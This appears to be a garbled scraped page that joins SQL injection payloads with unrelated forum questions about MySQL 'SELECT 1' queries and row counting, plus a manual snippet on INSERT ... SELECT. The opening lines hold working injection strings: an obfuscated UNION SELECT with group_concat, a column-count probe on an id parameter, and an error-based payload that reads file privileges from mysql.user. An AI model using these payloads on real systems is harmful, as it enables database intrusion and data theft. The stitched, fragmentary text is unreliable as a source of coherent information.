UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+... Extract columns name without information_schema. Method for MySQL >= 4.1. First extract the column number with. ?id=(1)and(SELECT * from db.users)=(1) -- Operand should contain 4 column(s).
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and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(file_priv,0x27,0x7e) FROM mysql.user LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1.
I have seen many queries with something as follows. … What does this 1 mean, how will it be executed and, what will it return? Also, in what type of scenarios, can this be used?
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A have a column named key - 1,1,2,2,2,2,3 Now i do it with 3 querys: … How to count in one query how many 1,2,3?
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SELECT, you can quickly insert many rows into a table from one or many tables. For example
mysql> SELECT * FROM (SELECT 1, 2, 3, 4) AS dt
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